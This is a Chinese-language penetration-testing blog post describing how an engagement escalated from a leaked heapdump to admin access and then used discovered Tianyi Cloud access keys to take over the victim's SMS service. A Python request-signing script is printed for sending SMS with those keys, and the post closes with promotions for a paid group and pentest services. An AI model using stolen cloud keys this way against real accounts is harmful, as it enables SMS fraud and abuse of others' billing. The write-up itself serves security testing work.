【项目实战技巧】不一样的云接管,云短信服务如何接管!记一次项目中的天翼云短信接管...

绪论

如果各位师傅觉得有用的话,可以给我点个关注~~ 如果师傅们有什么好的建议也欢迎联系我~~ 感谢各位师傅的支持~~

d86efc2e9bd303c1f830c3ac23c84aa7.png

正文部分

渗透路径

渗透路径概述

通过js发现测试环境 --> 转到测试环境测试 --> 获取heapdump敏感信息 --> 获得数据库口令 --> 成果获取管理员权限 --> 获取云短信服务AKSK --> 实现云短信接管

前面的流程都较为常规,在网上没咋看到关于云短信服务接管的内容,这里主要记录一下云短信服务如何接管

天翼云短信服务接管

发现aksk

通过heapdump翻数据库获取后台权限,后台访问发现aksk

4cc4a1f4641c068214e6de223d9e91ee.png

确认云服务平台

Burp进行接口抓取发现平台

4c0d7110ea578ef8b5ffe055088d754f.png

439c284bc9859baad7505e03120ec83a.jpeg

天翼云接管

通过接口文档获取到天翼云的利用方式

https://www.ctyun.cn/document/10020426/10021496

710e08c2ced3ba590e5656ea5d779e78.png

https://www.ctyun.cn/document/10020426/10021549#p-44f09a91df48de4f

e1b9c6274d0f1727ef39c8cbb83a414b.png

利用下面的python代码实现接管,输入ak,sk,对应的签名,还有想要发送的号码即可

# -*- coding: utf8 -*-
import requests
import json
import hashlib
import base64
import hmac
import datetime
import uuid

METHOD_GET ='GET'
METHOD_POST ='POST'

#1.请填写您的AK,SK,请注意保密
AK ='****'# 云通信控制台-》个人中心-》安全设置-》用户AccessKey,点击查看将AccessKey填入AK,
SK ='****'# 云通信控制台-》个人中心-》安全设置-》用户AccessKey,点击查看将SecurityKey填入SK,
#2.第二步请看文档末尾

defhmac_sha256(secret, data):
    secret =bytearray(secret)
    data =bytearray(data)
return hmac.new(secret, data, digestmod=hashlib.sha256).digest()

defbase64_of_hmac(data):
return base64.b64encode(data)

defget_request_uuid():
returnstr(uuid.uuid1())

defget_sorted_str(data):
"""
    鉴权用的参数整理
    :param data: dict 需要整理的参数
    :return: str
    """
    sorted_data =sorted(data.items(), key=lambda item: item[0])
    str_list =map(lambda x, y:'%s=%s'%(x, y), sorted_data)
return'&'.join(str_list)

defbuild_sign(query_params, body_params, eop_date, request_uuid):
"""
    计算鉴权字段
    :param query_params: dict get请求中的参数
    :param body_params: dict post请求中的参数
    :param eop_date: str 请求时间,格式为:'%Y%m%dT%H%M%SZ'
    :return: str
    """
    body_str = json.dumps(body_params)if body_params else''
    body_digest = hashlib.sha256(body_str.encode('utf-8')).hexdigest()
# 请求头中必要的两个参数
    header_str ='ctyun-eop-request-id:%s\neop-date:%s\n'%(
        request_uuid, eop_date)
# url中的参数,或get参数
# query_str = get_sorted_str(query_params)

    signature_str ='%s\n%s\n%s'%(header_str,"", body_digest)

    print_log(repr('signature_str is: %s'% signature_str))
    sign_date = eop_date.split('T')[0]

# 计算鉴权密钥
    k_time = hmac_sha256(SK.encode(), eop_date.encode())
    k_ak = hmac_sha256(k_time, AK.encode())
    k_date = hmac_sha256(k_ak, sign_date.encode())

    signature_base64 = base64_of_hmac(
        hmac_sha256(k_date, signature_str.encode())).decode()
# 构建请求头的鉴权字段值
    sign_header ='%s Headers=ctyun-eop-request-id;eop-date Signature=%s'%(
        AK, signature_base64)
return sign_header

defget_sign_headers(query_params, body):
"""
    获取鉴权用的请求头参数
    :param query_params: dict get请求中的参数
    :param body: dict post请求中的参数
    :return:
    """
    now = datetime.datetime.now()
    eop_date = datetime.datetime.strftime(now,'%Y%m%dT%H%M%SZ')
    request_uuid = get_request_uuid()
    headers ={# 三个鉴权用的参数
'eop-date': eop_date,
'ctyun-eop-request-id': request_uuid,
'Eop-Authorization': build_sign(query_params="", body_params=body, eop_date=eop_date, request_uuid=request_uuid),
# 'Eop-Authorization': 'abc',
"user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.82"
}
return headers

defget(url, params=None, header_params=None):
return execute(url, method=METHOD_GET, params=params, header_params=header_params)

defpost(url, params=None, header_params=None):
return execute(url, method=METHOD_POST, params=params, header_params=header_params)

defexecute(url, method, params=None, header_params=None):
    params = params or{}
    header_params = header_params or{}
    query_params, body =(params,{})if method == METHOD_GET else({}, params)
    headers = get_sign_headers(query_params, body)
    headers.update(header_params)

    print_log(u'url: %s'% url)
    print_log(u'请求方式: %s'% method)
    print_log(u'请求头: %s'% headers)
    print_log(u'请求参数: %s'% params)

if method == METHOD_GET:
        res = requests.get(url, params=params, headers=headers, verify=False)
else:
if params:
            res = requests.post(
                url, json=params, headers=headers, verify=False)
else:
            res = requests.post(
                url, data=params, headers=headers, verify=False)

    print_log(u'返回状态码: %s'% res.status_code)
    print_log(u'返回: %s'% res.text)
return res

defprint_log(log_info):
    now = datetime.datetime.now()
    log_info =u'[%s]: %s'%(str(now), log_info)

print(log_info)

#2.请参考帮助文档,填入以下参数:
#https://www.ctyun.cn/document/10020426/10021544
params ={
'action':"SendSms",#以发送短信为例
'signName':'***',#请传入您在控制台已经申请并通过的 短信签名 例如'云通信',该签名只做示例不可用。
'phoneNumber':'***',#请传入用来接收短信的手机号,多个手机号请用 英文逗号 分隔
'templateCode':'***',#请传入您在控制台已经申请并通过的 短信模板,SMS64124870510为测试专用无需申请,可直接使用。
'templateParam':'{\"code\":\"123456\"}',#请传入短信模板的参数,左侧数据为册数模板的参数,可直接使用
#'extendCode':
#'sessionId':
}
post('https://sms-global.ctapi.ctyun.cn/sms/api/v1',params=params)

成功接管发送

1b98324dfdd00fc1889f076d7c9ca7ed.png

929d64fb906d5a3f71ba95e47659da9e.png

知识星球

具体的星球介绍可以看一下这里~~

WingBy小密圈,他来了!

a7c89b79e28b45cba5473b012f5ae6c7.png

注意:帮会和星球是为了考虑大家的方便习惯,福利和内容是一致的,后续更新也是一致的~~~只需要进行一次付费就可以啦~~(建议还是使用帮会)

项目合作

有甲方大大,或者厂商师傅,或者其他的项目,欢迎咨询,我以及团队始终将客户的需求放在首位,确保客户满意度~~

目前主要的服务范围:

1. 渗透测试、漏洞扫描

2. 代码审计

3. 红蓝攻防

4. 重保以及其他攻防类项目

5. 红队武器化开发以及蓝队工具开发

6. CTF相关赛事的培训等

7. cnvd,cnnvd,edu,cve等证书

8. nisp,cisp等证书

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值